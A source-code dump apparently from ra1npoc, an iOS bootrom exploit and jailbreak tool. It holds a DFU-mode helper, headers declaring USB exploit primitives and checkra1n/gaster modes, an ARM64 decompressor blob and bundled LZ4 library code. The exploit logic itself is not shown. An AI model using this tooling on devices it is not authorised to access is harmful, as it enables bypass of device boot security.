* ra1npoc - helper/recovery.c
*
* Copyright (c) 2021 - 2023 kok3shidoll
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include <io/iousb.h>
#include <common/log.h>
#include <common/common.h>
static long cpuTime;
RA1NPOC_STATIC_API static void interval(double sec)
{
long now;
double n_sec;
double b_sec = (double)cpuTime / CLOCKS_PER_SEC;
while(1)
{
now = clock();
n_sec = (double)now / CLOCKS_PER_SEC;
if ((n_sec-b_sec) > sec)
{
break;
}
}
cpuTime = now;
}
RA1NPOC_STATIC_API static void prog(int sec)
{
int i=0;
int j=0;
cpuTime = clock();
for(i=0; i<sec; i++)
{
printf("[");
for (j=0;j<i+1;j++)
{
printf("=");
}
for (;j<sec;j++)
{
printf(" ");
}
printf("] (%d/%d sec)\r", i+1, sec);
fflush(stdout);
interval(1);
}
printf("\n");
}
RA1NPOC_API int enterDFU(client_t *client)
{
printf("#===============\n");
printf("#\n");
printf("# DFU helper\n");
printf("#\n");
printf("# Please follow the instructions below to operate the device\n");
printf("# (1) Press <enter> key\n");
printf("# (2) Press and hold Side and Volume down buttons together (4 sec)\n");
printf("# (3) Release Side button But keep holding Volume down button (10 sec)\n");
printf("#===============\n");
printf("ready? it starts 3 seconds after press <enter> key.\n");
printf("[STEP1] Press <enter> key >> ");
getchar();
printf("\n");
cpuTime = clock();
for(int i=0; i<3; i++)
{
printf("preparing... (STEP2 will start after %d seconds)\r", 3-i);
fflush(stdout);
interval(1);
}
printf("[STEP2] Press and hold Side and Volume down buttons together\n");
int j=0;
for(int i=0; i<4; i++)
{
if(i==1)
{
IOUSBSendReboot(client);
}
printf("[");
for (j=0;j<i+1;j++)
{
printf("=");
}
for (;j<4;j++)
{
printf(" ");
}
printf("] (%d/%d sec)\r", i+1, 4);
fflush(stdout);
interval(1);
}
printf("\n");
printf("[STEP3] Release Side button But keep holding Volume down button\n");
prog(10);
LOG("Reconnecting");
if(IOUSBConnect(client, kDeviceDFUModeID, 5, 0, 10000))
{
ERR("DFU mode device not found");
return -1;
}
LOG("Found DFU mode device");
IOUSBClose(client);
return 0;
}
================================================
FILE: include/common/common.h
================================================
#ifndef COMMON_H
#define COMMON_H
#include <io/iousb.h>
#ifdef DEVBUILD
#define RA1NPOC_API
#else
#define RA1NPOC_API
#endif
#ifdef DEVBUILD
#define RA1NPOC_STATIC_API
#else
#define RA1NPOC_STATIC_API
#endif
#ifdef BAKERA1N_MODE
/* BAKERA1N_MODE */
# define RA1NPOC_COMMON_H
# include "../../../include/bakera1n/bakera1n_flag.h"
/* BAKERA1N_MODE */
#else
/* !BAKERA1N_MODE */
# define checkrain_option_none 0x00000000
// KPF options
# define checkrain_option_verbose_boot (1 << 0)
// Global options
# define checkrain_option_safemode (1 << 0)
# define checkrain_option_bind_mount (1 << 1)
# define checkrain_option_overlay (1 << 2)
# define checkrain_option_force_revert (1 << 7) /* keep this at 7 */
/* !BAKERA1N_MODE */
#endif
// old KPF options (pongoOS 2.5.x/checkra1n 0.12.4)
#define old_checkrain_option_safemode (1 << 0)
#define old_checkrain_option_verbose_boot (1 << 1)
#define kRa1nNone (0)
#define kRa1nCheckra1nMode (1 << 0) // based checkra1n v0.12.4b
#define kRa1nPongoLoaderMode (1 << 1) // based checkra1n v0.1337.0
#define kRa1nPwnDFUMode (1 << 2) // based gaster
#define kRa1nNewExploitMode (1 << 3) // use checkra1n v0.1337.0 exploit code
#define kRa1nShowHelpMode (1 << 4)
#define kRa1nShowListMode (1 << 5)
#define kRa1nUseCleanDFUMode (1 << 6)
#define kRa1nShowDebugMode (1 << 7)
#if defined(RA1NPOC_MODE)
transfer_t USBReqStall(client_t *client);
transfer_t USBReqLeak(client_t *client, unsigned char* blank);
#endif
transfer_t USBReqNoLeak(client_t *client, unsigned char* blank);
transfer_t leak(client_t *client, unsigned char* blank);
transfer_t noLeak(client_t *client, unsigned char* blank);
transfer_t sendData(client_t *client, unsigned char* buf, size_t size);
transfer_t sendDataTO(client_t *client, unsigned char* buf, size_t size, int timeout);
transfer_t getStatus(client_t *client, unsigned char* buf, size_t size);
transfer_t sendAbort(client_t *client);
int sendPongo(client_t *client, const void* pongoBuf, const size_t pongoLen);
#if defined(RA1NPOC_MODE)
const char *IOReturnName(IOReturn res);
int isStalled(IOReturn res);
int isTimeout(IOReturn res);
void preRetry(client_t *client, unsigned int i);
#endif
#endif
================================================
FILE: include/common/log.h
================================================
#ifndef LOG_H
#define LOG_H
#include <stdio.h>
/* LOG macro */
#ifdef DEVBUILD
/* DEVBUILD */
#define ERR(x, ...) \
do { \
printf("- \x1b[36m[ERR] \x1b[39m\x1b[31m"x" \x1b[39m: \x1b[35m%s()\x1b[39m\n", ##__VA_ARGS__, __FUNCTION__); \
} while(0)
#define DEVLOG(x, ...) \
do { \
printf("- \x1b[36m[DEV] \x1b[39m\x1b[34m"x" \x1b[39m: \x1b[35m%s()\x1b[39m\n", ##__VA_ARGS__, __FUNCTION__); \
} while(0)
#define LOG(x, ...) \
do { \
printf("- \x1b[36m[LOG] \x1b[39m\x1b[32m"x" \x1b[39m: \x1b[35m%s()\x1b[39m\n", ##__VA_ARGS__, __FUNCTION__); \
} while(0)
#define LOG2(x, ...) \
do { \
printf(""x"\n", ##__VA_ARGS__); \
} while(0)
#else
/* NON_DEVBUILD */
#define ERR(x, ...) \
do { \
printf("- \x1b[36m[ERR] \x1b[39m\x1b[31m"x" \x1b[39m\n", ##__VA_ARGS__); \
} while(0)
#define DEVLOG(x, ...)
#define LOG(x, ...) \
do { \
printf("- \x1b[36m[LOG] \x1b[39m\x1b[32m"x" \x1b[39m\n", ##__VA_ARGS__); \
} while(0)
#define LOG2(x, ...) \
do { \
printf(""x"\n", ##__VA_ARGS__); \
} while(0)
#endif
#endif
================================================
FILE: include/common/log2.h
================================================
#ifndef LOG_H
#define LOG_H
#include <stdio.h>
/* LOG macro */
#define ERR(x, ...) \
do { \
printf("- \x1b[36m[ERR] \x1b[39m\x1b[31m"x" \x1b[39m\n", ##__VA_ARGS__); \
} while(0)
#ifdef DEVBUILD
#define DEVLOG(x, ...) \
do { \
printf("- \x1b[36m[DEV] \x1b[39m\x1b[34m"x" \x1b[39m\n", ##__VA_ARGS__); \
} while(0)
#else
#define DEVLOG(x, ...)
#endif
#define LOG(x, ...) \
do { \
printf("- \x1b[36m[LOG] \x1b[39m\x1b[32m"x" \x1b[39m\n", ##__VA_ARGS__); \
} while(0)
#define LOG2(x, ...) \
do { \
printf(""x"\n", ##__VA_ARGS__); \
} while(0)
#endif
================================================
FILE: include/lz4dec_asm.h
================================================
unsigned char lz4dec_bin[] = {
0xf2, 0x03, 0x1e, 0xaa, 0xf1, 0x03, 0x00, 0xaa, 0xe1, 0x07, 0x61, 0xb2,
0xe3, 0x27, 0x17, 0x32, 0x25, 0x00, 0x03, 0x8b, 0x42, 0x0f, 0x00, 0x18,
0x02, 0x00, 0x00, 0x34, 0xa0, 0x00, 0x02, 0xcb, 0x00, 0xec, 0x7c, 0x92,
0xe4, 0x0e, 0x00, 0x10, 0x66, 0x01, 0x00, 0x10, 0x07, 0x34, 0x80, 0xd2,
0xc8, 0x44, 0x40, 0xb8, 0xa8, 0x44, 0x00, 0xb8, 0xe7, 0x10, 0x00, 0x51,
0xa7, 0xff, 0xff, 0x35, 0x25, 0x00, 0x03, 0x8b, 0xa6, 0x80, 0x06, 0x91,
0x22, 0x00, 0x00, 0x94, 0x25, 0x00, 0x03, 0x8b, 0xa0, 0x00, 0x1f, 0xd6,
0x1f, 0x00, 0x04, 0xeb, 0xe0, 0x01, 0x00, 0x54, 0xe8, 0x00, 0x00, 0x54,
0xe6, 0x03, 0x00, 0xaa, 0x87, 0x20, 0xc1, 0xa8, 0xc7, 0x20, 0x81, 0xa8,
0xdf, 0x00, 0x05, 0xeb, 0xa3, 0xff, 0xff, 0x54, 0x08, 0x00, 0x00, 0x14,
0x84, 0x00, 0x02, 0x8b, 0x84, 0x3c, 0x00, 0x91, 0x84, 0xec, 0x7c, 0x92,
0x87, 0x20, 0xff, 0xa9, 0xa7, 0x20, 0xbf, 0xa9, 0xbf, 0x00, 0x00, 0xeb,
0xa8, 0xff, 0xff, 0x54, 0x19, 0x00, 0x00, 0x94, 0x00, 0x00, 0x00, 0xb4,
0xe5, 0x07, 0x61, 0xb2, 0xa6, 0x00, 0x00, 0x8b, 0x0b, 0x00, 0x00, 0x94,
0x48, 0x42, 0x38, 0xd5, 0x1f, 0x31, 0x00, 0xf1, 0x41, 0x00, 0x00, 0x54,
0x1f, 0x10, 0x1e, 0xd5, 0x1f, 0x10, 0x18, 0xd5, 0xdf, 0x3f, 0x03, 0xd5,
0xe0, 0x03, 0x11, 0xaa, 0xfe, 0x03, 0x12, 0xaa, 0xf2, 0x07, 0x61, 0xb2,
0x40, 0x02, 0x1f, 0xd6, 0x9f, 0x3f, 0x03, 0xd5, 0x25, 0x7e, 0x0b, 0xd5,
0xa5, 0x00, 0x01, 0x91, 0xbf, 0x00, 0x06, 0xeb, 0xa3, 0xff, 0xff, 0x54,
0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x1f, 0x75, 0x08, 0xd5,
0xdf, 0x3f, 0x03, 0xd5, 0xc0, 0x03, 0x5f, 0xd6, 0xef, 0x03, 0x1e, 0xaa,
0xee, 0x03, 0x01, 0xaa, 0x02, 0x00, 0x02, 0xab, 0x22, 0x07, 0x00, 0x54,
0x23, 0x00, 0x03, 0xab, 0xe2, 0x06, 0x00, 0x54, 0x1f, 0x00, 0x02, 0xeb,
0xa2, 0x06, 0x00, 0x54, 0x04, 0x14, 0x40, 0x38, 0x85, 0x0c, 0x00, 0x12,
0x84, 0x1c, 0x04, 0x53, 0xe4, 0x01, 0x00, 0x34, 0x26, 0x00, 0x00, 0x94,
0x3f, 0x00, 0x00, 0xeb, 0x22, 0x20, 0x42, 0xfa, 0x02, 0x20, 0x42, 0xfa,
0x22, 0x30, 0x43, 0xfa, 0x46, 0x00, 0x00, 0xcb, 0x82, 0x30, 0x46, 0xfa,
0x66, 0x00, 0x01, 0xcb, 0x82, 0x90, 0x46, 0xfa, 0xe8, 0x04, 0x00, 0x54,
0x06, 0x14, 0x40, 0x38, 0x26, 0x14, 0x00, 0x38, 0x84, 0x04, 0x00, 0xd1,
0xa4, 0xff, 0xff, 0xb5, 0xbf, 0x00, 0x00, 0x71, 0x00, 0x00, 0x42, 0xfa,
0x22, 0x04, 0x00, 0x54, 0xe4, 0x03, 0x05, 0x2a, 0x46, 0x00, 0x00, 0xcb,
0xdf, 0x08, 0x00, 0xf1, 0x83, 0x03, 0x00, 0x54, 0x05, 0x14, 0x40, 0x38,
0x06, 0x14, 0x40, 0x38, 0xc5, 0x1c, 0x18, 0x33, 0x05, 0x03, 0x00, 0x34,
0x0d, 0x00, 0x00, 0x94, 0x84, 0x10, 0x00, 0xb1, 0xa2, 0x02, 0x00, 0x54,
0x25, 0x00, 0x05, 0xeb, 0xa0, 0x20, 0x4e, 0xfa, 0x66, 0x00, 0x01, 0xcb,
0xc0, 0x20, 0x44, 0xfa, 0x03, 0x02, 0x00, 0x54, 0xa6, 0x14, 0x40, 0x38,
0x26, 0x14, 0x00, 0x38, 0x84, 0x04, 0x00, 0xd1, 0xa4, 0xff, 0xff, 0xb5,
0xd5, 0xff, 0xff, 0x17, 0x9f, 0x3c, 0x00, 0x71, 0x01, 0x01, 0x00, 0x54,
0x1f, 0x00, 0x02, 0xeb, 0xe2, 0x00, 0x00, 0x54, 0x06, 0x14, 0x40, 0x38,
0x84, 0x00, 0x06, 0xab, 0x82, 0x00, 0x00, 0x54, 0xdf, 0xfc, 0x03, 0x71,
0x40, 0xff, 0xff, 0x54, 0xc0, 0x03, 0x5f, 0xd6, 0xe1, 0x03, 0x0e, 0xaa,
0x20, 0x00, 0x0e, 0xcb, 0xe0, 0x01, 0x5f, 0xd6, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41
};
unsigned int lz4dec_bin_len = 512;
================================================
FILE: include/pongoterm.h
================================================
#ifndef PONGO_H
#define PONGO_H
#include <stdint.h>
#include <io/iousb.h>
int oldPongoTerm(client_t *client);
int pongoTerm(client_t *client);
#endif
================================================
FILE: include/ra1npoc.h
================================================
#ifndef RA1NPOC_H
#define RA1NPOC_H
#include <stdint.h>
int ra1npoc15(client_t *client, uint16_t cpid);
#endif
================================================
FILE: include/recovery.h
================================================
#ifndef RECOVERY_H
#define RECOVERY_H
#include <stdint.h>
#include <io/iousb.h>
int enterDFU(client_t *client);
#endif
================================================
FILE: lz4/lib/.gitignore
================================================
*.o
================================================
FILE: lz4/lib/Makefile
================================================
MACOS_FLAG += -mmacosx-version-min=10.11
MACOS_FLAG += -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk
IOS_FLAG += -miphoneos-version-min=9.0
IOS_FLAG += -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk
macos:
clang $(MACOS_FLAG) -c lz4.c -arch arm64 -arch x86_64
clang $(MACOS_FLAG) -c lz4hc.c -arch arm64 -arch x86_64
ios:
clang $(IOS_FLAG) -c lz4.c -arch arm64
clang $(IOS_FLAG) -c lz4hc.c -arch arm64
clean:
rm -f *.o
================================================
FILE: lz4/lib/lz4.c
================================================
/*
LZ4 - Fast LZ compression algorithm
Copyright (C) 2011-2020, Yann Collet.
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
You can contact the author at :
- LZ4 homepage : http://www.lz4.org
- LZ4 source repository : https://github.com/lz4/lz4
*/
/*-************************************
* Tuning parameters
**************************************/
/*
* LZ4_HEAPMODE :
* Select how stateless compression functions like `LZ4_compress_default()`
* allocate memory for their hash table,
* in memory stack (0:default, fastest), or in memory heap (1:requires malloc()).
*/
#ifndef LZ4_HEAPMODE
# define LZ4_HEAPMODE 0
#endif
/*
* LZ4_ACCELERATION_DEFAULT :
* Select "acceleration" for LZ4_compress_fast() when parameter value <= 0
*/
#define LZ4_ACCELERATION_DEFAULT 1
/*
* LZ4_ACCELERATION_MAX :
* Any "acceleration" value higher than this threshold
* get treated as LZ4_ACCELERATION_MAX instead (fix #876)
*/
#define LZ4_ACCELERATION_MAX 65537
/*-************************************
* CPU Feature Detection
**************************************/
/* LZ4_FORCE_MEMORY_ACCESS
* By default, access to unaligned memory is controlled by `memcpy()`, which is safe and portable.
* Unfortunately, on some target/compiler combinations, the generated assembly is sub-optimal.
* The below switch allow to select different access method for improved performance.
* Method 0 (default) : use `memcpy()`. Safe and portable.
* Method 1 : `__packed` statement. It depends on compiler extension (ie, not portable).
* This method is safe if your compiler supports it, and *generally* as fast or faster than `memcpy`.
* Method 2 : direct access. This method is portable but violate C standard.
* It can generate buggy code on targets which assembly generation depends on alignment.
* But in some circumstances, it's the only known way to get the most performance (ie GCC + ARMv6)
* See https://fastcompression.blogspot.fr/2015/08/accessing-unaligned-memory.html for details.
* Prefer these methods in priority order (0 > 1 > 2)
*/
#ifndef LZ4_FORCE_MEMORY_ACCESS /* can be defined externally */
# if defined(__GNUC__) && \
( defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) \
|| defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__) || defined(__ARM_ARCH_6T2__) )
# define LZ4_FORCE_MEMORY_ACCESS 2
# elif (defined(__INTEL_COMPILER) && !defined(_WIN32)) || defined(__GNUC__)
# define LZ4_FORCE_MEMORY_ACCESS 1
# endif
#endif
/*
* LZ4_FORCE_SW_BITCOUNT
* Define this parameter if your target system or compiler does not support hardware bit count
*/
#if defined(_MSC_VER) && defined(_WIN32_WCE) /* Visual Studio for WinCE doesn't support Hardware bit count */
# undef LZ4_FORCE_SW_BITCOUNT /* avoid double def */
# define LZ4_FORCE_SW_BITCOUNT
#endif
/*-************************************
* Dependency
**************************************/
/*
* LZ4_SRC_INCLUDED:
* Amalgamation flag, whether lz4.c is included
*/
#ifndef LZ4_SRC_INCLUDED
# define LZ4_SRC_INCLUDED 1
#endif
#ifndef LZ4_STATIC_LINKING_ONLY
#define LZ4_STATIC_LINKING_ONLY
#endif
#ifndef LZ4_DISABLE_DEPRECATE_WARNINGS
#define LZ4_DISABLE_DEPRECATE_WARNINGS /* due to LZ4_decompress_safe_withPrefix64k */
#endif
#define LZ4_STATIC_LINKING_ONLY /* LZ4_DISTANCE_MAX */
#include "lz4.h"
/* see also "memory routines" below */
/*-************************************
* Compiler Options
**************************************/
#if defined(_MSC_VER) && (_MSC_VER >= 1400) /* Visual Studio 2005+ */
# include <intrin.h> /* only present in VS2005+ */
# pragma warning(disable : 4127) /* disable: C4127: conditional expression is constant */
# pragma warning(disable : 6237) /* disable: C6237: conditional expression is always 0 */
#endif /* _MSC_VER */
#ifndef LZ4_FORCE_INLINE
# ifdef _MSC_VER /* Visual Studio */
# define LZ4_FORCE_INLINE static __forceinline
# else
# if defined (__cplusplus) || defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L /* C99 */
# ifdef __GNUC__
# define LZ4_FORCE_INLINE static inline __attribute__((always_inline))
# else
# define LZ4_FORCE_INLINE static inline
# endif
# else
# define LZ4_FORCE_INLINE static
# endif /* __STDC_VERSION__ */
# endif /* _MSC_VER */
#endif /* LZ4_FORCE_INLINE */
/* LZ4_FORCE_O2 and LZ4_FORCE_INLINE
* gcc on ppc64le generates an unrolled SIMDized loop for LZ4_wildCopy8,
* together with a simple 8-byte copy loop as a fall-back path.
* However, this optimization hurts the decompression speed by >30%,
* because the execution does not go to the optimized loop
* for typical compressible data, and all of the preamble checks
* before going to the fall-back path become useless overhead.
* This optimization happens only with the -O3 flag, and -O2 generates
* a simple 8-byte copy loop.
* With gcc on ppc64le, all of the LZ4_decompress_* and LZ4_wildCopy8
* functions are annotated with __attribute__((optimize("O2"))),
* and also LZ4_wildCopy8 is forcibly inlined, so that the O2 attribute
* of LZ4_wildCopy8 does not affect the compression speed.
*/
#if defined(__PPC64__) && defined(__LITTLE_ENDIAN__) && defined(__GNUC__) && !defined(__clang__)
# define LZ4_FORCE_O2 __attribute__((optimize("O2")))
# undef LZ4_FORCE_INLINE
# define LZ4_FORCE_INLINE static __inline __attribute__((optimize("O2"),always_inline))
#else
# define LZ4_FORCE_O2
#endif
#if (defined(__GNUC__) && (__GNUC__ >= 3)) || (defined(__INTEL_COMPILER) && (__INTEL_COMPILER >= 800)) || defined(__clang__)
# define expect(expr,value) (__builtin_expect ((expr),(value)) )
#else
# define expect(expr,value) (expr)
#endif
#ifndef likely
#define likely(expr) expect((expr) != 0, 1)
#endif
#ifndef unlikely
#define unlikely(expr) expect((expr) != 0, 0)
#endif
/* Should the alignment test prove unreliable, for some reason,
* it can be disabled by setting LZ4_ALIGN_TEST to 0 */
#ifndef LZ4_ALIGN_TEST /* can be externally provided */
# define LZ4_ALIGN_TEST 1
#endif
/*-************************************
* Memory routines
**************************************/
/*! LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION :
* Disable relatively high-level LZ4/HC functions that use dynamic memory
* allocation functions (malloc(), calloc(), free()).
*
* Note that this is a compile-time switch. And since it disables
* public/stable LZ4 v1 API functions, we don't recommend using this
* symbol to generate a library for distribution.
*
* The following public functions are removed when this symbol is defined.
* - lz4 : LZ4_createStream, LZ4_freeStream,
* LZ4_createStreamDecode, LZ4_freeStreamDecode, LZ4_create (deprecated)
* - lz4hc : LZ4_createStreamHC, LZ4_freeStreamHC,
* LZ4_createHC (deprecated), LZ4_freeHC (deprecated)
* - lz4frame, lz4file : All LZ4F_* functions
*/
#if defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
# define ALLOC(s) lz4_error_memory_allocation_is_disabled
# define ALLOC_AND_ZERO(s) lz4_error_memory_allocation_is_disabled
# define FREEMEM(p) lz4_error_memory_allocation_is_disabled
#elif defined(LZ4_USER_MEMORY_FUNCTIONS)
/* memory management functions can be customized by user project.
* Below functions must exist somewhere in the Project
* and be available at link time */
void* LZ4_malloc(size_t s);
void* LZ4_calloc(size_t n, size_t s);
void LZ4_free(void* p);
# define ALLOC(s) LZ4_malloc(s)
# define ALLOC_AND_ZERO(s) LZ4_calloc(1,s)
# define FREEMEM(p) LZ4_free(p)
#else
# include <stdlib.h> /* malloc, calloc, free */
# define ALLOC(s) malloc(s)
# define ALLOC_AND_ZERO(s) calloc(1,s)
# define FREEMEM(p) free(p)
#endif
#if ! LZ4_FREESTANDING
# include <string.h> /* memset, memcpy */
#endif
#if !defined(LZ4_memset)
# define LZ4_memset(p,v,s) memset((p),(v),(s))
#endif
#define MEM_INIT(p,v,s) LZ4_memset((p),(v),(s))
/*-************************************
* Common Constants
**************************************/
#define MINMATCH 4
#define WILDCOPYLENGTH 8
#define LASTLITERALS 5 /* see ../doc/lz4_Block_format.md#parsing-restrictions */
#define MFLIMIT 12 /* see ../doc/lz4_Block_format.md#parsing-restrictions */
#define MATCH_SAFEGUARD_DISTANCE ((2*WILDCOPYLENGTH) - MINMATCH) /* ensure it's possible to write 2 x wildcopyLength without overflowing output buffer */
#define FASTLOOP_SAFE_DISTANCE 64
static const int LZ4_minLength = (MFLIMIT+1);
#define KB *(1 <<10)
#define MB *(1 <<20)
#define GB *(1U<<30)
#define LZ4_DISTANCE_ABSOLUTE_MAX 65535
#if (LZ4_DISTANCE_MAX > LZ4_DISTANCE_ABSOLUTE_MAX) /* max supported by LZ4 format */
# error "LZ4_DISTANCE_MAX is too big : must be <= 65535"
#endif
#define ML_BITS 4
#define ML_MASK ((1U<<ML_BITS)-1)
#define RUN_BITS (8-ML_BITS)
#define RUN_MASK ((1U<<RUN_BITS)-1)
/*-************************************
* Error detection
**************************************/
#if defined(LZ4_DEBUG) && (LZ4_DEBUG>=1)
# include <assert.h>
#else
# ifndef assert
# define assert(condition) ((void)0)
# endif
#endif
#define LZ4_STATIC_ASSERT(c) { enum { LZ4_static_assert = 1/(int)(!!(c)) }; } /* use after variable declarations */
#if defined(LZ4_DEBUG) && (LZ4_DEBUG>=2)
# include <stdio.h>
static int g_debuglog_enable = 1;
# define DEBUGLOG(l, ...) { \
if ((g_debuglog_enable) && (l<=LZ4_DEBUG)) { \
fprintf(stderr, __FILE__ " %i: ", __LINE__); \
fprintf(stderr, __VA_ARGS__); \
fprintf(stderr, " \n"); \
} }
#else
# define DEBUGLOG(l, ...) {} /* disabled */
#endif
static int LZ4_isAligned(const void* ptr, size_t alignment)
{
return ((size_t)ptr & (alignment -1)) == 0;
}
/*-************************************
* Types
**************************************/
#include <limits.h>
#if defined(__cplusplus) || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */)
# include <stdint.h>
typedef uint8_t BYTE;
typedef uint16_t U16;
typedef uint32_t U32;
typedef int32_t S32;
typedef uint64_t U64;
typedef uintptr_t uptrval;
#else
# if UINT_MAX != 4294967295UL
# error "LZ4 code (when not C++ or C99) assumes that sizeof(int) == 4"
# endif
typedef unsigned char BYTE;
typedef unsigned short U16;
typedef unsigned int U32;
typedef signed int S32;
typedef unsigned long long U64;
typedef size_t uptrval; /* generally true, except OpenVMS-64 */
#endif
#if defined(__x86_64__)
typedef U64 reg_t; /* 64-bits in x32 mode */
#else
typedef size_t reg_t; /* 32-bits in x32 mode */
#endif
typedef enum {
notLimited = 0,
limitedOutput = 1,
fillOutput = 2
} limitedOutput_directive;
/*-************************************
* Reading and writing into memory
**************************************/
/**
* LZ4 relies on memcpy with a constant size being inlined. In freestanding
* environments, the compiler can't assume the implementation of memcpy() is
* standard compliant, so it can't apply its specialized memcpy() inlining
* logic. When possible, use __builtin_memcpy() to tell the compiler to analyze
* memcpy() as if it were standard compliant, so it can inline it in freestanding
* environments. This is needed when decompressing the Linux Kernel, for example.
*/
#if !defined(LZ4_memcpy)
# if defined(__GNUC__) && (__GNUC__ >= 4)
# define LZ4_memcpy(dst, src, size) __builtin_memcpy(dst, src, size)
# else
# define LZ4_memcpy(dst, src, size) memcpy(dst, src, size)
# endif
#endif
#if !defined(LZ4_memmove)
# if defined(__GNUC__) && (__GNUC__ >= 4)
# define LZ4_memmove __builtin_memmove
# else
# define LZ4_memmove memmove
# endif
#endif
static unsigned LZ4_isLittleEndian(void)
{
const union { U32 u; BYTE c[4]; } one = { 1 }; /* don't use static : performance detrimental */
return one.c[0];
}
#if defined(LZ4_FORCE_MEMORY_ACCESS) && (LZ4_FORCE_MEMORY_ACCESS==2)
/* lie to the compiler about data alignment; use with caution */
static U16 LZ4_read16(const void* memPtr) { return *(const U16*) memPtr; }
static U32 LZ4_read32(const void* memPtr) { return *(const U32*) memPtr; }
static reg_t LZ4_read_ARCH(const void* memPtr) { return *(const reg_t*) memPtr; }
static void LZ4_write16(void* memPtr, U16 value) { *(U16*)memPtr = value; }
static void LZ4_write32(void* memPtr, U32 value) { *(U32*)memPtr = value; }
#elif defined(LZ4_FORCE_MEMORY_ACCESS) && (LZ4_FORCE_MEMORY_ACCESS==1)
/* __pack instructions are safer, but compiler specific, hence potentially problematic for some compilers */
/* currently only defined for gcc and icc */
typedef struct { U16 u16; } __attribute__((packed)) LZ4_unalign16;
typedef struct { U32 u32; } __attribute__((packed)) LZ4_unalign32;
typedef struct { reg_t uArch; } __attribute__((packed)) LZ4_unalignST;
static U16 LZ4_read16(const void* ptr) { return ((const LZ4_unalign16*)ptr)->u16; }
static U32 LZ4_read32(const void* ptr) { return ((const LZ4_unalign32*)ptr)->u32; }
static reg_t LZ4_read_ARCH(const void* ptr) { return ((const LZ4_unalignST*)ptr)->uArch; }
static void LZ4_write16(void* memPtr, U16 value) { ((LZ4_unalign16*)memPtr)->u16 = value; }
static void LZ4_write32(void* memPtr, U32 value) { ((LZ4_unalign32*)memPtr)->u32 = value; }
#else /* safe and portable access using memcpy() */
static U16 LZ4_read16(const void* memPtr)
{
U16 val; LZ4_memcpy(&val, memPtr, sizeof(val)); return val;
}
static U32 LZ4_read32(const void* memPtr)
{
U32 val; LZ4_memcpy(&val, memPtr, sizeof(val)); return val;
}
static reg_t LZ4_read_ARCH(const void* memPtr)
{
reg_t val; LZ4_memcpy(&val, memPtr, sizeof(val)); return val;
}
static void LZ4_write16(void* memPtr, U16 value)
{
LZ4_memcpy(memPtr, &value, sizeof(value));
}
static void LZ4_write32(void* memPtr, U32 value)
{
LZ4_memcpy(memPtr, &value, sizeof(value));
}
#endif /* LZ4_FORCE_MEMORY_ACCESS */
static U16 LZ4_readLE16(const void* memPtr)
{
if (LZ4_isLittleEndian()) {
return LZ4_read16(memPtr);
} else {
const BYTE* p = (const BYTE*)memPtr;
return (U16)((U16)p[0] + (p[1]<<8));
}
}
static void LZ4_writeLE16(void* memPtr, U16 value)
{
if (LZ4_isLittleEndian()) {
LZ4_write16(memPtr, value);
} else {
BYTE* p = (BYTE*)memPtr;
p[0] = (BYTE) value;
p[1] = (BYTE)(value>>8);
}
}
/* customized variant of memcpy, which can overwrite up to 8 bytes beyond dstEnd */
LZ4_FORCE_INLINE
void LZ4_wildCopy8(void* dstPtr, const void* srcPtr, void* dstEnd)
{
BYTE* d = (BYTE*)dstPtr;
const BYTE* s = (const BYTE*)srcPtr;
BYTE* const e = (BYTE*)dstEnd;
do { LZ4_memcpy(d,s,8); d+=8; s+=8; } while (d<e);
}
